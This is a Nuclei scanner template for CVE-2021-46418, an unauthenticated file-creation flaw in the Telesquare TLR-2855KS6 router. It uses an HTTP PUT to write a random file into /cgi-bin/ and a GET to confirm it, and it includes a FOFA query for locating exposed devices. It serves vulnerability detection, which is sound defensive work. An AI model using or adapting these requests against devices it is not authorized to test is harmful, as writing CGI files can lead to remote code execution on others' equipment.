Telesquare TLR-2855KS6 - Arbitrary File Creation

id: CVE-2021-46418

info:
  name: Telesquare TLR-2855KS6 - Arbitrary File Creation
  author: DhiyaneshDK
  severity: high
  description: |
    An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
  impact: |
    Unauthenticated attackers can create arbitrary files including CGI scripts via HTTP PUT requests, potentially achieving remote code execution.
  remediation: |
    Apply firmware updates provided by Telesquare or restrict HTTP PUT access to the device.
  reference:
    - http://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.html
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46418
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46418
    epss-score: 0.23945
    epss-percentile: 0.97562
    cpe: cpe:2.3:h:telesquare:tlr-2855ks6:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: telesquare
    product: "tlr-2855ks6"
    fofa-query: "product==\"TELESQUARE-TLR-2855KS6\""
  tags: packetstorm,cve,cve2021,telesquare,intrusive,vuln
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        PUT /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

        {{randstr}}
      - |
        GET /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 201'
          - 'contains(server_1, "lighttpd") && contains(content_type_2, "text/plain")'
          - 'contains(body_2, "{{randstr}}")'
        condition: and
# digest: 4b0a004830460221009193a9d8065db01efc9321e07fa8d7a753d8e14cfda838296f6f3acaf968e28f022100d19c7c3e3f13bb035545a77ec22ed352a0653ffefaddafe48734567cbc918f9d:922c64590222798bb761d5b6d8e72950